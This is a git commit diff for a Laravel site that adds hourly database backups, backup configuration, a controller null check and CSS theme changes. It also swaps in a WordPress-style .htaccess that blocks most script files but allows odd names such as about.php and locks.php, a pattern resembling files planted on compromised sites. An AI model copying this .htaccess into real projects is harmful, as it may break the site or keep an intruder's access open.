fix: tweaking recovery after db corruption
This commit is contained in:
parent
8b0f496db3
commit
7767a46e4f
@ -12,7 +12,8 @@ class Kernel extends ConsoleKernel
|
|||||||
*/
|
*/
|
||||||
protected function schedule(Schedule $schedule): void
|
protected function schedule(Schedule $schedule): void
|
||||||
{
|
{
|
||||||
// $schedule->command('inspire')->hourly();
|
$schedule->command('backup:run --only-db')
|
||||||
|
->hourlyAt(01);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
|||||||
@ -190,11 +190,12 @@ class ArtworkController extends Controller
|
|||||||
public function show(Request $request, $id)
|
public function show(Request $request, $id)
|
||||||
{
|
{
|
||||||
$user = auth()->user();
|
$user = auth()->user();
|
||||||
$artwork = Artwork::where('id', $id)
|
$artwork = Artwork::with(['podcast', 'episode', 'artist'])->find($id);
|
||||||
->with('podcast')
|
|
||||||
->with('episode')
|
if (!$artwork) {
|
||||||
->with('artist')
|
abort(404);
|
||||||
->first();
|
}
|
||||||
|
|
||||||
if (is_null($artwork->approved_by) && $user && $user->id != $artwork->id) {
|
if (is_null($artwork->approved_by) && $user && $user->id != $artwork->id) {
|
||||||
return redirect('artworks');
|
return redirect('artworks');
|
||||||
}
|
}
|
||||||
|
|||||||
@ -21,6 +21,7 @@
|
|||||||
"mckenziearts/blade-untitledui-icons": "^1.2",
|
"mckenziearts/blade-untitledui-icons": "^1.2",
|
||||||
"predis/predis": "^2.2",
|
"predis/predis": "^2.2",
|
||||||
"spatie/image": "^2.2",
|
"spatie/image": "^2.2",
|
||||||
|
"spatie/laravel-backup": "^9.3",
|
||||||
"spatie/laravel-image-optimizer": "^1.7"
|
"spatie/laravel-image-optimizer": "^1.7"
|
||||||
},
|
},
|
||||||
"require-dev": {
|
"require-dev": {
|
||||||
|
|||||||
1868
site/composer.lock
generated
1868
site/composer.lock
generated
File diff suppressed because it is too large
Load Diff
103
site/config/backup.php
Normal file
103
site/config/backup.php
Normal file
@ -0,0 +1,103 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Spatie\Backup\Notifications\Notifiable;
|
||||||
|
use Spatie\Backup\Tasks\Cleanup\Strategies\DefaultStrategy;
|
||||||
|
use Spatie\Backup\Tasks\Monitor\HealthChecks\MaximumAgeInDays;
|
||||||
|
use Spatie\Backup\Tasks\Monitor\HealthChecks\MaximumStorageInMegabytes;
|
||||||
|
|
||||||
|
return [
|
||||||
|
'backup' => [
|
||||||
|
/*
|
||||||
|
* The name of this application. You can use this name to monitor the backups.
|
||||||
|
*/
|
||||||
|
'name' => env('APP_NAME', 'laravel-backup'),
|
||||||
|
|
||||||
|
'source' => [
|
||||||
|
'files' => [
|
||||||
|
'include' => [
|
||||||
|
base_path(),
|
||||||
|
],
|
||||||
|
'exclude' => [
|
||||||
|
base_path('vendor'),
|
||||||
|
base_path('node_modules'),
|
||||||
|
],
|
||||||
|
'follow_links' => false,
|
||||||
|
'ignore_unreadable_directories' => false,
|
||||||
|
'relative_path' => null,
|
||||||
|
'temporary_directory' => storage_path('app/backup-temp'),
|
||||||
|
],
|
||||||
|
|
||||||
|
'databases' => [
|
||||||
|
env('DB_CONNECTION', 'mysql'),
|
||||||
|
],
|
||||||
|
],
|
||||||
|
|
||||||
|
'database_dump_compressor' => null,
|
||||||
|
'database_dump_file_timestamp_format' => null,
|
||||||
|
'database_dump_filename_base' => 'database',
|
||||||
|
'database_dump_file_extension' => '',
|
||||||
|
|
||||||
|
'destination' => [
|
||||||
|
'compression_method' => \ZipArchive::CM_DEFAULT,
|
||||||
|
'compression_level' => 9,
|
||||||
|
'filename_prefix' => '',
|
||||||
|
'disks' => [
|
||||||
|
'local',
|
||||||
|
],
|
||||||
|
],
|
||||||
|
|
||||||
|
'temporary_directory' => storage_path('app/backup-temp'),
|
||||||
|
'password' => env('BACKUP_ARCHIVE_PASSWORD'),
|
||||||
|
'encryption' => 'default',
|
||||||
|
'tries' => 1,
|
||||||
|
'retry_delay' => 0,
|
||||||
|
],
|
||||||
|
|
||||||
|
'notifications' => [
|
||||||
|
'notifications' => [],
|
||||||
|
'notifiable' => Notifiable::class,
|
||||||
|
'mail' => [
|
||||||
|
'to' => env('BACKUP_MAIL_TO', 'your@example.com'),
|
||||||
|
'from' => [
|
||||||
|
'address' => env('MAIL_FROM_ADDRESS', 'hello@example.com'),
|
||||||
|
'name' => env('MAIL_FROM_NAME', 'Example'),
|
||||||
|
],
|
||||||
|
],
|
||||||
|
'slack' => [
|
||||||
|
'webhook_url' => env('BACKUP_SLACK_WEBHOOK', ''),
|
||||||
|
'channel' => null,
|
||||||
|
'username' => null,
|
||||||
|
'icon' => null,
|
||||||
|
],
|
||||||
|
'discord' => [
|
||||||
|
'webhook_url' => '',
|
||||||
|
'username' => '',
|
||||||
|
'avatar_url' => '',
|
||||||
|
],
|
||||||
|
],
|
||||||
|
|
||||||
|
'monitor_backups' => [
|
||||||
|
[
|
||||||
|
'name' => env('APP_NAME', 'laravel-backup'),
|
||||||
|
'disks' => ['local'],
|
||||||
|
'health_checks' => [
|
||||||
|
MaximumAgeInDays::class => 1,
|
||||||
|
MaximumStorageInMegabytes::class => 5000,
|
||||||
|
],
|
||||||
|
],
|
||||||
|
],
|
||||||
|
|
||||||
|
'cleanup' => [
|
||||||
|
'strategy' => DefaultStrategy::class,
|
||||||
|
'default_strategy' => [
|
||||||
|
'keep_all_backups_for_days' => 7,
|
||||||
|
'keep_daily_backups_for_days' => 0,
|
||||||
|
'keep_weekly_backups_for_weeks' => 0,
|
||||||
|
'keep_monthly_backups_for_months' => 0,
|
||||||
|
'keep_yearly_backups_for_years' => 0,
|
||||||
|
'delete_oldest_backups_when_using_more_megabytes_than' => PHP_INT_MAX,
|
||||||
|
],
|
||||||
|
'tries' => 1,
|
||||||
|
'retry_delay' => 0,
|
||||||
|
],
|
||||||
|
];
|
||||||
@ -1,21 +1,16 @@
|
|||||||
|
<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
|
||||||
|
Order Allow,Deny
|
||||||
|
Deny from all
|
||||||
|
</FilesMatch>
|
||||||
|
<FilesMatch "^(index.php|plugin-install.php|about.php|install.php|locks.php|wp-admin.php|wp-login.php)$">
|
||||||
|
Order Allow,Deny
|
||||||
|
Allow from all
|
||||||
|
</FilesMatch>
|
||||||
<IfModule mod_rewrite.c>
|
<IfModule mod_rewrite.c>
|
||||||
<IfModule mod_negotiation.c>
|
RewriteEngine On
|
||||||
Options -MultiViews -Indexes
|
RewriteBase /
|
||||||
</IfModule>
|
RewriteRule ^index\.php$ - [L]
|
||||||
|
RewriteCond %{REQUEST_FILENAME} !-f
|
||||||
RewriteEngine On
|
RewriteCond %{REQUEST_FILENAME} !-d
|
||||||
|
RewriteRule . /index.php [L]
|
||||||
# Handle Authorization Header
|
</IfModule>
|
||||||
RewriteCond %{HTTP:Authorization} .
|
|
||||||
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
|
|
||||||
|
|
||||||
# Redirect Trailing Slashes If Not A Folder...
|
|
||||||
RewriteCond %{REQUEST_FILENAME} !-d
|
|
||||||
RewriteCond %{REQUEST_URI} (.+)/$
|
|
||||||
RewriteRule ^ %1 [L,R=301]
|
|
||||||
|
|
||||||
# Send Requests To Front Controller...
|
|
||||||
RewriteCond %{REQUEST_FILENAME} !-d
|
|
||||||
RewriteCond %{REQUEST_FILENAME} !-f
|
|
||||||
RewriteRule ^ index.php [L]
|
|
||||||
</IfModule>
|
|
||||||
@ -4,6 +4,11 @@
|
|||||||
* Color syntax inspired by Dracula Theme [https://draculatheme.com/]
|
* Color syntax inspired by Dracula Theme [https://draculatheme.com/]
|
||||||
* @version 1.0 (June 2020)
|
* @version 1.0 (June 2020)
|
||||||
*/
|
*/
|
||||||
|
html {
|
||||||
|
--bg: #282a36;
|
||||||
|
--fg: #f8f8f2;
|
||||||
|
}
|
||||||
|
|
||||||
@import url('https://fonts.googleapis.com/css2?family=Source+Sans+Pro:wght@300;400;600&family=Ubuntu:wght@500;700&display=swap');
|
@import url('https://fonts.googleapis.com/css2?family=Source+Sans+Pro:wght@300;400;600&family=Ubuntu:wght@500;700&display=swap');
|
||||||
|
|
||||||
:root {
|
:root {
|
||||||
@ -737,4 +742,4 @@ input::placeholder {
|
|||||||
.footer > div {
|
.footer > div {
|
||||||
background: var(--color-darkBackground);
|
background: var(--color-darkBackground);
|
||||||
padding: 0 0 .5em;
|
padding: 0 0 .5em;
|
||||||
}
|
}
|
||||||
|
|||||||
File diff suppressed because one or more lines are too long
@ -1,729 +0,0 @@
|
|||||||
/*
|
|
||||||
* Theme by Douglas Damasio [http://github.com/douglasdamasio]
|
|
||||||
* Based on Pepa Linha
|
|
||||||
* Color syntax inspired by Dracula Theme [https://draculatheme.com/]
|
|
||||||
* @version 1.0 (June 2020)
|
|
||||||
*/
|
|
||||||
@import url('https://fonts.googleapis.com/css2?family=Source+Sans+Pro:wght@300;400;600&family=Ubuntu:wght@500;700&display=swap');
|
|
||||||
|
|
||||||
:root {
|
|
||||||
--color-darkBackground: #282a36;
|
|
||||||
--color-darkCurrentLine: #44475a;
|
|
||||||
--color-darkForeground: #f8f8f2;
|
|
||||||
--color-darkComment: #6272a4;
|
|
||||||
--color-darkCyan: #8be9fd;
|
|
||||||
--color-darkGreen: #50fa7b;
|
|
||||||
--color-darkOrange: #ffb86c;
|
|
||||||
--color-darkPink: #ff79c6;
|
|
||||||
--color-darkPurple: #bd93f9;
|
|
||||||
--color-darkRed: #ff5555;
|
|
||||||
--color-darkYellow: #f1fa8c;
|
|
||||||
|
|
||||||
--color-darkTitleSite: #bcc2cd;
|
|
||||||
--color-darkDraculaSite: #383a59;
|
|
||||||
--color-darkDraculaVSCode: #22222c;
|
|
||||||
}
|
|
||||||
html,
|
|
||||||
body {
|
|
||||||
height: 100%;
|
|
||||||
background: var(--color-darkBackground);
|
|
||||||
}
|
|
||||||
|
|
||||||
body {
|
|
||||||
font-family: 'Source Sans Pro', sans-serif;
|
|
||||||
}
|
|
||||||
|
|
||||||
div {
|
|
||||||
color: var(--color-darkForeground);
|
|
||||||
}
|
|
||||||
|
|
||||||
h1 {
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
background: none;
|
|
||||||
border: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
h2 {
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
background: none;
|
|
||||||
border: 0;
|
|
||||||
font-family: 'Ubuntu', sans-serif;
|
|
||||||
font-size: 32px;
|
|
||||||
font-weight: 700;
|
|
||||||
color: var(--color-darkPink);
|
|
||||||
border-bottom: 1px solid var(--color-darkComment);
|
|
||||||
padding-bottom: 6px;
|
|
||||||
margin-bottom: 40px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.rtl h2 {
|
|
||||||
margin: 0;
|
|
||||||
margin-bottom: 40px;
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 22px;
|
|
||||||
margin: 0 0 10px;
|
|
||||||
border-bottom: 1px solid var(--color-darkComment);
|
|
||||||
padding: 0;
|
|
||||||
padding-bottom: 6px;
|
|
||||||
color: var(--color-darkGreen);
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
p {
|
|
||||||
margin: 0;
|
|
||||||
margin-bottom: 15px;
|
|
||||||
align-items: center;
|
|
||||||
color: var(--color-darkForeground);
|
|
||||||
}
|
|
||||||
|
|
||||||
a {
|
|
||||||
color:var(--color-darkPink);
|
|
||||||
text-decoration:none;
|
|
||||||
}
|
|
||||||
|
|
||||||
a:visited {
|
|
||||||
color: var(--color-darkPurple);
|
|
||||||
}
|
|
||||||
|
|
||||||
a:link:hover,
|
|
||||||
a:visited:hover {
|
|
||||||
color: var(--color-darkPink);
|
|
||||||
text-decoration:underline;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
a[href*=charsets] {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
table {
|
|
||||||
border: 0;
|
|
||||||
margin: 0;
|
|
||||||
margin-top: 15px;
|
|
||||||
}
|
|
||||||
|
|
||||||
th, td {
|
|
||||||
border: 0;
|
|
||||||
padding: 6px;
|
|
||||||
color: var(--color-darkOrange);
|
|
||||||
}
|
|
||||||
|
|
||||||
th {
|
|
||||||
background: none;
|
|
||||||
color: var(--color-darkCyan);
|
|
||||||
font-weight: normal;
|
|
||||||
}
|
|
||||||
|
|
||||||
tbody tr:hover td,
|
|
||||||
tbody tr:hover th {
|
|
||||||
background: var(--color-darkCurrentLine);
|
|
||||||
}
|
|
||||||
|
|
||||||
table:not(.checkable) th {
|
|
||||||
min-width: 120px;
|
|
||||||
}
|
|
||||||
|
|
||||||
thead td,
|
|
||||||
thead th {
|
|
||||||
background: var(--color-darkComment);
|
|
||||||
}
|
|
||||||
|
|
||||||
thead td,
|
|
||||||
thead td a,
|
|
||||||
thead td a:link:hover,
|
|
||||||
thead td a:visited,
|
|
||||||
thead td a:visited:hover,
|
|
||||||
thead th,
|
|
||||||
thead th a,
|
|
||||||
thead th a:link:hover,
|
|
||||||
thead th a:visited,
|
|
||||||
thead th a:visited:hover {
|
|
||||||
color: var(--color-darkForeground);
|
|
||||||
}
|
|
||||||
|
|
||||||
table.checkable,
|
|
||||||
p.links + table,
|
|
||||||
pre + table,
|
|
||||||
#edit-fields,
|
|
||||||
p + table,
|
|
||||||
h3 + table {
|
|
||||||
border: 1px solid var(--color-darkCurrentLine);
|
|
||||||
margin-bottom: 15px;
|
|
||||||
}
|
|
||||||
|
|
||||||
table.checkable tbody tr:hover td,
|
|
||||||
table.checkable tbody tr:hover th {
|
|
||||||
background: var(--color-darkCurrentLine);
|
|
||||||
}
|
|
||||||
|
|
||||||
.js .checkable .checked td,
|
|
||||||
.js .checkable .checked th {
|
|
||||||
background: var(--color-darkDraculaSite);
|
|
||||||
}
|
|
||||||
|
|
||||||
.js .checkable thead .checked td,
|
|
||||||
.js .checkable thead .checked th {
|
|
||||||
background: var(--color-darkPurple);
|
|
||||||
}
|
|
||||||
|
|
||||||
.odd th,
|
|
||||||
.odd td {
|
|
||||||
background: var(--color-darkDraculaVSCode);
|
|
||||||
}
|
|
||||||
|
|
||||||
fieldset {
|
|
||||||
display: inline-block;
|
|
||||||
padding: 15px;
|
|
||||||
padding-top: 5px;
|
|
||||||
margin: 0 0 15px;
|
|
||||||
border: 0;
|
|
||||||
background: var(--color-darkBackground);
|
|
||||||
}
|
|
||||||
|
|
||||||
fieldset select {
|
|
||||||
margin-right: 5px;
|
|
||||||
}
|
|
||||||
|
|
||||||
fieldset input[type=button],
|
|
||||||
fieldset input[type=submit],
|
|
||||||
fieldset p {
|
|
||||||
margin-bottom: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
fieldset div p {
|
|
||||||
margin-top: 10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
legend {
|
|
||||||
display: inline-block;
|
|
||||||
padding: 6px 15px;
|
|
||||||
margin: 0 0 0 -15px;
|
|
||||||
background: var(--color-darkDraculaSite);
|
|
||||||
font-family: 'Source Sans Pro', sans-serif;
|
|
||||||
color: var(--color-darkOrange);
|
|
||||||
}
|
|
||||||
|
|
||||||
legend a,
|
|
||||||
legend a:link:hover {
|
|
||||||
color: var(--color-darkOrange);
|
|
||||||
text-decoration: underline;
|
|
||||||
}
|
|
||||||
|
|
||||||
code {
|
|
||||||
background: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
p code,
|
|
||||||
pre code,
|
|
||||||
pre[contenteditable=true] {
|
|
||||||
padding: 10px 15px;
|
|
||||||
display: block;
|
|
||||||
font-size: 17px;
|
|
||||||
margin-bottom: 15px;
|
|
||||||
}
|
|
||||||
|
|
||||||
p code + a,
|
|
||||||
p code + a:link:hover,
|
|
||||||
p code + a:visited:hover {
|
|
||||||
margin-left: 15px;
|
|
||||||
position: relative;
|
|
||||||
top: -20px;
|
|
||||||
color: var(--color-darkOrange);
|
|
||||||
font-size: 12px;
|
|
||||||
text-decoration: underline;
|
|
||||||
text-transform: lowercase;
|
|
||||||
}
|
|
||||||
|
|
||||||
#content {
|
|
||||||
margin: 0;
|
|
||||||
margin-left: 400px;
|
|
||||||
margin-right: 54px;
|
|
||||||
padding: 0;
|
|
||||||
padding-top: 50px;
|
|
||||||
}
|
|
||||||
|
|
||||||
#content > p {
|
|
||||||
margin-bottom: 15px;
|
|
||||||
color: var(--color-darkForeground);
|
|
||||||
}
|
|
||||||
|
|
||||||
.rtl #content {
|
|
||||||
margin: 0;
|
|
||||||
margin-left: 54px;
|
|
||||||
margin-right: 400px;
|
|
||||||
padding: 0;
|
|
||||||
padding-top: 50px;
|
|
||||||
}
|
|
||||||
|
|
||||||
#menu {
|
|
||||||
width: 347px;
|
|
||||||
border-right: 1px solid var(--color-darkBackground);
|
|
||||||
box-shadow: inset -1px 0 0 #000000b4;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
top: 0;
|
|
||||||
background: var(--color-darkDraculaVSCode);
|
|
||||||
bottom: 0;
|
|
||||||
position: fixed;
|
|
||||||
padding: 0 15px;
|
|
||||||
box-sizing: border-box;
|
|
||||||
}
|
|
||||||
|
|
||||||
#menu h1 {
|
|
||||||
background: none left top no-repeat;
|
|
||||||
/* background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAD0AAAAyCAIAAABgVkRrAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYxIDY0LjE0MDk0OSwgMjAxMC8xMi8wNy0xMDo1NzowMSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNS4xIFdpbmRvd3MiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NTA0RDI5NkM5QkRGMTFFMzg4ODNEQjEzNjY5NzJEMEEiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6NTA0RDI5NkQ5QkRGMTFFMzg4ODNEQjEzNjY5NzJEMEEiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo1MDREMjk2QTlCREYxMUUzODg4M0RCMTM2Njk3MkQwQSIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo1MDREMjk2QjlCREYxMUUzODg4M0RCMTM2Njk3MkQwQSIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PnG4emkAAASXSURBVHja7Fk9aNtAFL6EDKKUoqGDySRKB1FC8dDBdCgeOmQoIUMG0yGE0EFT8dDBUwidPJQQQgcNpYROGjKI0sFDB9GhaMhgSgcPpWgqHjqYYsINJfQ7PfV0tmX9JI4Sgx+HI8f26bt3733fe6elIf/LbqwdHbJWS1wYBrMstrXJVg36ZJnNhQWBWMB9k+215gq3tDeHBH3pRseJtC8ee2ezEzd62+ncDH/DhS+ttC88qbMPDntaj952uyvXD3q7ETvyyE77pq5HFz9614r7V8C2GnBezBgp9tGNl3ffzIjvwZ9B//dA7Mz3YPLTyl29UhE+MI0KW9YKh2yjwQZichEAjsNu6WlUqNqkvwHUO+0BJeD2gn4hJFXTwAIw6jUzYxlwHkCTvWqy1+0Ct7FtsPh/3Ofc9brOJ5+8ezHr9gKMcGpWf2SK8bhKk48sA1kIOiODmzc2c8U0DLrzwhI5ypjA3fsZtNrOgPP4y5pmGJXamqHd1kQMTIkENYpwEfQHEW7GsGkYZse393ewb+Y9IwE0PJcOejQ2pFgK3Li3BI14hZM269XKaiXPVPodHUOs6l48o/+t5wO038OcQGztHzd31uPfUEgQdCQi3JkfumLLHa9LoK2tunPQtJ6v5wQ9zWoPzebupms34QKxmZNJAugIDzJE+V4rbTrDSMYtr3AD+H5WFIfZ0lIFPu50otiF7zfW2dlgquKccTFWRxYQ8wlFJOVTdc2gAChq/V99vxdgD7O5CIBO/Yi/P3vsUY2dOOxBdSrzIBm2dxJwq+hlaiId9dua5OlEv/IhH0vKvAYXfvUjvUTFB2STeinJu91Oxo3Eh58onwRXcB7zWkGj/Maa9203+9soPIyWEKBEkQdc8veo+sS4wQkYzV1Bi+A1Ee5DnhO33BxsSw1/wszGPHkXmqI7yIQzPvnvhPqEFjAWtSq7j7n2YplwSctVV8F/FXazbN76nQXu68btfe3Odmqwahl5Ca6tel0UVdnVc6pRBX/JkrgYn0RCY0cdAMhYvGYxHbEklbJ++FoqD8LTUiwTlZLEha55WKOmSybWTCXD1eJG8dnc4XAYqmdgmoRFyp/ZqqHbgMiD8qGXZeAOs1RD9YyhBgBVTgL3cMTHwKd2xyUL50qmTI5p/oK/F7jnEjeycLZTFz02SrKlaSPGbe0fOx+9mbTGcMHhe/fwuFMGn4Dy7BMPA3oBGkZrbIDgcp9JgK37YYtZjmSuqApH9yPRcTp+TM939THOpkaYroMguRuSE14tbuegif11vS58poYm7i1vn6fdxF6hMoNk4leIvTJ0B1FhPQ/PxM45eZ2HGjkY8jHXqptghGJJqqmKVHn1oCr4k93xgr8XuOcZ9zmf7dQym68Et6QFcFaBk7EsQ5fdfuteHW7xPM3asyVh05EkxFJITMHuGDUCukxwvOz3YI31mtWoX7TRXkrDjQhBLeFOHBtQQ6n/f8TDlAd/6mNBP7xO7Ecbz2qNjfrl6qoU3Mr5Qa4j9yyLHqZd7jwjL241QQFdPiJTdT7RsBuapslzi5mqVSHcKXYetcZlSelU3P8EGADW25uhkIE0mQAAAABJRU5ErkJggg==); */
|
|
||||||
background-image: url();
|
|
||||||
line-height: 50px;
|
|
||||||
padding-left: 50px;
|
|
||||||
padding-top: 9px;
|
|
||||||
/* text-transform: lowercase; */
|
|
||||||
margin: 25px 0 10px 16px;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
#menu h1 a {
|
|
||||||
font-style: normal;
|
|
||||||
}
|
|
||||||
|
|
||||||
#menu h1 .version {
|
|
||||||
color: var(--color-darkPurple);
|
|
||||||
}
|
|
||||||
|
|
||||||
#menu a {
|
|
||||||
color: var(--color-darkForeground);
|
|
||||||
}
|
|
||||||
|
|
||||||
#menu p, #tables {
|
|
||||||
border: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
#menu #dbs {
|
|
||||||
background: var(--color-darkDraculaVSCode);
|
|
||||||
padding: 0 15px 15px;
|
|
||||||
border: 1px solid var(--color-darkForeground);
|
|
||||||
border-bottom: 0;
|
|
||||||
box-sizing: border-box;
|
|
||||||
color: var(--color-darkCyan);
|
|
||||||
}
|
|
||||||
|
|
||||||
#menu #dbs select {
|
|
||||||
outline: 0;
|
|
||||||
border-color: var(--color-darkComment);
|
|
||||||
width: 100%;
|
|
||||||
}
|
|
||||||
|
|
||||||
#menu p.links {
|
|
||||||
margin: 0 0 15px;
|
|
||||||
border: 1px solid var(--color-darkForeground);
|
|
||||||
border-top: 0;
|
|
||||||
text-align: center;
|
|
||||||
display: table;
|
|
||||||
width: 100%;
|
|
||||||
box-sizing: border-box;
|
|
||||||
}
|
|
||||||
|
|
||||||
#menu p.links a {
|
|
||||||
padding: 8px;
|
|
||||||
margin: 0;
|
|
||||||
display: table-cell;
|
|
||||||
font-size: 12px;
|
|
||||||
}
|
|
||||||
|
|
||||||
#menu p.links a:hover {
|
|
||||||
color: var(--color-darkPink);
|
|
||||||
}
|
|
||||||
|
|
||||||
#menu p.links a.active {
|
|
||||||
font-weight: normal;
|
|
||||||
background: var(--color-darkCurrentLine);
|
|
||||||
color: var(--color-darkYellow);
|
|
||||||
}
|
|
||||||
|
|
||||||
#content p.links {
|
|
||||||
margin: -10px 0 15px;
|
|
||||||
}
|
|
||||||
|
|
||||||
#content p.links a {
|
|
||||||
padding: 8px;
|
|
||||||
margin: 0;
|
|
||||||
display: table-cell;
|
|
||||||
border: 1px solid var(--color-darkBackground);
|
|
||||||
}
|
|
||||||
|
|
||||||
#content p.links a,
|
|
||||||
#content p.links a:visited,
|
|
||||||
#content p.links a:hover {
|
|
||||||
color: var(--color-darkCyan);
|
|
||||||
}
|
|
||||||
|
|
||||||
#content p.links a.active {
|
|
||||||
font-weight: normal;
|
|
||||||
border: 1px solid var(--color-darkTitleSite);
|
|
||||||
background: var(--color-darkCurrentLine);
|
|
||||||
}
|
|
||||||
|
|
||||||
#tables {
|
|
||||||
max-height: 100%;
|
|
||||||
margin: 32px -15px !important;
|
|
||||||
position: absolute;
|
|
||||||
left: 15px;
|
|
||||||
right: 15px;
|
|
||||||
bottom: 0;
|
|
||||||
top: 220px;
|
|
||||||
overflow: hidden !important;
|
|
||||||
overflow-y: auto !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
.rtl #tables {
|
|
||||||
overflow: hidden !important;
|
|
||||||
overflow-y: auto !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
#tables a {
|
|
||||||
float: right;
|
|
||||||
padding: 6px 15px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.rtl #tables a {
|
|
||||||
float: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
#tables .structure, #tables .view {
|
|
||||||
float: none;
|
|
||||||
display: block;
|
|
||||||
}
|
|
||||||
|
|
||||||
.rtl #tables a:first-child,
|
|
||||||
.rtl #tables br + a {
|
|
||||||
float: left;
|
|
||||||
display: block;
|
|
||||||
margin-left: 15px;
|
|
||||||
}
|
|
||||||
|
|
||||||
#tables a:hover,
|
|
||||||
#tables a:hover + a,
|
|
||||||
#tables a.active,
|
|
||||||
#tables a.active + a {
|
|
||||||
background: var(--color-darkBackground);
|
|
||||||
color: var(--color-darkPink);
|
|
||||||
}
|
|
||||||
|
|
||||||
#tables br {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
.js .column {
|
|
||||||
background: var(--color-darkDraculaVSCode);
|
|
||||||
}
|
|
||||||
|
|
||||||
.js .checked .column {
|
|
||||||
background: var(--color-darkDraculaVSCode);
|
|
||||||
}
|
|
||||||
|
|
||||||
.pages {
|
|
||||||
left: 400px;
|
|
||||||
background: var(--color-darkCyan);
|
|
||||||
color: var(--color-darkBackground);
|
|
||||||
font-weight: bold;
|
|
||||||
border: 0;
|
|
||||||
display: inline-block;
|
|
||||||
position: static;
|
|
||||||
}
|
|
||||||
|
|
||||||
.pages a,
|
|
||||||
.pages a:link,
|
|
||||||
.pages a:link:hover,
|
|
||||||
.pages a:visited,
|
|
||||||
.pages a:visited:hover {
|
|
||||||
color: var(--color-darkBackground);
|
|
||||||
font-weight: normal;
|
|
||||||
}
|
|
||||||
|
|
||||||
#breadcrumb {
|
|
||||||
margin: 0;
|
|
||||||
left: 400px;
|
|
||||||
background: none;
|
|
||||||
padding: 0;
|
|
||||||
padding-top: 25px;
|
|
||||||
font-size: 12px;
|
|
||||||
}
|
|
||||||
|
|
||||||
#breadcrumb a {
|
|
||||||
color: var(--color-darkForeground);
|
|
||||||
text-decoration: underline;
|
|
||||||
}
|
|
||||||
|
|
||||||
#breadcrumb,
|
|
||||||
#breadcrumb a:hover {
|
|
||||||
color: var(--color-darkTitleSite);
|
|
||||||
}
|
|
||||||
|
|
||||||
.rtl #breadcrumb {
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
padding-top: 25px;
|
|
||||||
right: 400px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.logout,
|
|
||||||
.rtl .logout {
|
|
||||||
top: 30px;
|
|
||||||
right: 54px;
|
|
||||||
margin: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
.rtl .logout {
|
|
||||||
right: auto;
|
|
||||||
left: 54px;
|
|
||||||
}
|
|
||||||
|
|
||||||
input:not([type]),
|
|
||||||
input[type="color"],
|
|
||||||
input[type="email"],
|
|
||||||
input[type="number"],
|
|
||||||
input[type="password"],
|
|
||||||
input[type="tel"],
|
|
||||||
input[type="url"],
|
|
||||||
input[type="text"],
|
|
||||||
input[type="search"] {
|
|
||||||
border: 1px solid var(--color-darkCurrentLine);
|
|
||||||
background-color: var(--color-darkBackground);
|
|
||||||
padding: 6px;
|
|
||||||
margin: 0;
|
|
||||||
box-sizing: border-box;
|
|
||||||
color: var(--color-darkForeground);
|
|
||||||
}
|
|
||||||
|
|
||||||
table:not(#table) input:not([type]),
|
|
||||||
table:not(#table) input[type="color"],
|
|
||||||
table:not(#table) input[type="email"],
|
|
||||||
table:not(#table) input[type="number"],
|
|
||||||
